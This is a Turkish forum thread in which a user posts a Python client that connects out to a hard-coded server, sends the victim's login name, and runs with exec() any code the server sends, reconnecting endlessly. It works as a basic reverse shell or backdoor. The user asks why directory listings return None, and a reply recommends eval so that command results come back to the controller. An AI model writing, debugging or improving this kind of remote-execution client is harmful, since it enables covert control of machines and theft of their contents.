Class içinde os un komutlarının None return alması

import socket,os
SERVER = "192.168.1.32"
PORT = 11111

class sket():
    def __init__(self):
        self.getirici()

    def dinleyici(self):
        try:
            self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.client.connect((SERVER, PORT))
            self.client.sendall(bytes(os.getlogin(),'UTF-8'))
            print("Bağlantı kuruldu")
        except Exception as e:
            print("Bağlanı kurulamadı: "+str(e))

    def getirici(self):
        while True:
            try:
                self.gelenveri = self.client.recv(1024).decode("utf-8")
                print(exec(self.gelenveri))
            except Exception as e:
                self.dinleyici()
baglantici = sket()

Arkadaşlar elimde böyle bir kod var. Bu clientin kodu. Bir serverden bu cliente os.listdir(os.getcwd()) veya os.walk(“C:”) gibi komutlar yollandığında print değeri “None” oluyor ayrıca os.system(“netstat -o”) yazınca clientin cmd desinde gelen değerler yazılıyor ekrana. Bunu nasıl düzelteceğim ?

print(exec(self.gelenveri)) yerine eval(self.gelenveri) yazarsanız sorun çözülür diye tahmin ediyorum.

self.gelenveri’de de şöyle bir kod gönderirsiniz:

print(os.listdir(os.getcwd()))

Veya eval(self.gelenveri) yerine print(eval(self.gelenveri)) yazarsınız, os.listdir(os.getcwd()) ifadesini de print ifadesi olmadan gönderirsiniz, size kalmış.

Ayrıca aşağıda basit bir örnek var, onu da inceleyebilirsiniz.

teşekkürler deneyeceğim